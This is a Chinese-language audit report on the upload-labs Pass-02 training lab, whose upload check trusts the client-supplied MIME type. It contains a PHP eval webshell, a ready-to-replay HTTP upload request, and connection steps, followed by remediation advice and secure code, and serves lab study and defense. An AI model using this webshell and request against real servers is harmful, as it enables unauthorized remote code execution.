upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-02 |
| 漏洞类型 | MIME 类型校验绕过 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-02/index.php |
二、漏洞概述
Pass-02 在服务端仅校验 $_FILES['upload_file']['type'](即客户端提交的 Content-Type),该值可以被攻击者通过抓包任意修改。因此,即使上传的是 PHP 脚本,只要将 Content-Type 伪造成 image/jpeg、image/png 或 image/gif 即可绕过校验,成功上传 WebShell。
- 危险等级:高危
- 影响范围:可上传任意类型可执行脚本
三、问题代码位置
文件路径:Pass-02/index.php
问题代码片段(第 8-24 行):
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
四、漏洞分析
4.1 为什么存在这个问题
$_FILES['upload_file']['type'] 的值来源于浏览器在 multipart 请求中提交的 Content-Type 头,攻击者可以随意篡改。服务端信任这个客户端可控的值,没有真实读取文件内容或进行后缀白名单校验,导致任意文件上传。
4.2 校验逻辑缺陷
- 仅校验 MIME 字符串,未校验文件真实类型。
- 未校验文件后缀名。
- 保存文件名直接使用用户上传的原始文件名。
五、利用思路
攻击者上传 shell.php,在 HTTP 请求包中将文件部分的 Content-Type 从默认的 application/octet-stream 或 application/x-php 改为 image/jpeg(或 image/png / image/gif),服务端校验通过后即可成功上传。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-02/index.php - WebShell 内容示例:
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-02/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求,粘贴上述请求包。
- 修改
Host和路径为实际靶场地址。 - 发送请求。
- 访问上传后的文件:
http://target.com/upload-labs/upload/shell.php。 - 使用 Webshell 管理工具连接,密码
cmd。
七、修复建议
- 不依赖
$_FILES['type']:该值由客户端提供,不可信。 - 服务端后缀白名单:仅允许安全的图片后缀。
- 真实文件类型检测:可结合
getimagesize()、exif_imagetype()或读取文件魔数进行校验。 - 重命名并隔离上传文件:避免原始文件名被解析执行。
- 上传目录不可执行:配置 Web 服务器禁止解析上传目录中的脚本。
安全代码示例
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_ext)) {
die('不支持的文件类型');
}
$tmp = $_FILES['upload_file']['tmp_name'];
if (!getimagesize($tmp)) {
die('文件内容不是图片');
}
$new_name = md5(uniqid()) . '.' . $ext;
move_uploaded_file($tmp, UPLOAD_PATH . '/' . $new_name);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload